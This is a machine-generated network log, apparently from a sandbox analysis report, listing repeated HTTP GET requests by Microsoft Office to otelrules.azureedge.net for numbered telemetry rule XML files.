Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
